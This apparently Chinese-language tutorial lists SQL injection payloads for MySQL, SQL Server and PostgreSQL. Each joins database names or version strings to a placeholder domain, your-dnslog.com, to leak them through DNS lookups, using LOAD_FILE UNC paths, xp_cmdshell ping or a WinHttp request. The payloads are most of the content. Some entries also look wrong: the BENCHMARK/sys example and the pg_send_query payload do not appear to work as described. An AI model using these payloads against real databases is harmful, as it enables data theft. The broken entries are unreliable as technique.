SQL 注入无回显利用 DNSLog 如何构造

1. MySQL/MariaDB

在 MySQL 和 MariaDB 中，LOAD_FILE() 函数和 UNC 路径（Windows 共享路径）是触发 DNS 查询的常用手段

a. 利用 LOAD_FILE()

LOAD_FILE() 函数用于读取文件内容，但如果给它一个 UNC 路径，它会触发 DNS 查询

• Payload 构造： SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.your-dnslog.com\\a'));
• 解释：
  • SELECT DATABASE()：获取当前数据库名
  • CONCAT(...)：将数据库名与你的 DNSlog 域名拼接成一个新的域名，例如 testdb.your-dnslog.com
  • LOAD_FILE()：尝试加载这个 UNC 路径，由于域名不存在本地，它会发起 DNS 查询
  • \\a：这是一个占位符，用于避免语法错误

b. 利用 DNS_REVERSE() 和 BENCHMARK()

这是一个更高级的技巧，需要 MySQL 5.7.10 或更高版本，且安装了 sys 模式

• Payload 构造： SELECT BENCHMARK(1000000,MD5(CONCAT('a',(SELECT DATABASE())))) AND (SELECT sys.version_get_option('version') LIKE '%DNS%');
  • 注意：这个方法主要是为了演示 sys 库的功能，实际操作中 LOAD_FILE 更常见

2. SQL Server

在 SQL Server 中，我们可以利用 xp_cmdshell 或 sp_oacreate 来触发 DNS 查询

a. 利用 xp_cmdshell

xp_cmdshell 是一个强大的存储过程，可以执行系统命令。我们可以利用 ping 命令来触发 DNS 查询

• Payload 构造： EXEC xp_cmdshell 'ping -n 1 ' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';
• 解释：
  • xp_cmdshell：执行 ping 命令
  • SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases：获取第一个数据库的名称
  • +：将数据库名与你的 DNSlog 域名拼接

b. 利用 sp_oacreate

sp_oacreate 可以创建 OLE 对象，我们可以利用它来发起 HTTP 请求，从而触发 DNS 查询

• Payload 构造： DECLARE @h INT; EXEC sp_oacreate 'WinHttp.WinHttpRequest.5.1', @h OUT; EXEC sp_oamethod @h, 'Open', NULL, 'GET', 'http://' + (SELECT TOP 1 CAST(name AS VARCHAR(255)) FROM sys.databases) + '.your-dnslog.com';

3. PostgreSQL

在 PostgreSQL 中，COPY 命令和 pg_sleep 结合可以实现 DNSlog。但更直接的方法是利用 pg_send_query 或 UDF（用户定义函数）。

• Payload 构造： SELECT * FROM users WHERE id = 1 AND (SELECT pg_send_query('SELECT * FROM ' || (SELECT version()) || '.your-dnslog.com')) IS NOT NULL;
• 解释：
  • pg_send_query()：用于发送一个查询。
  • (SELECT version())：获取 PostgreSQL 的版本信息。
  • 这个方法利用了 PostgreSQL 在解析域名时会触发 DNS 查询的特性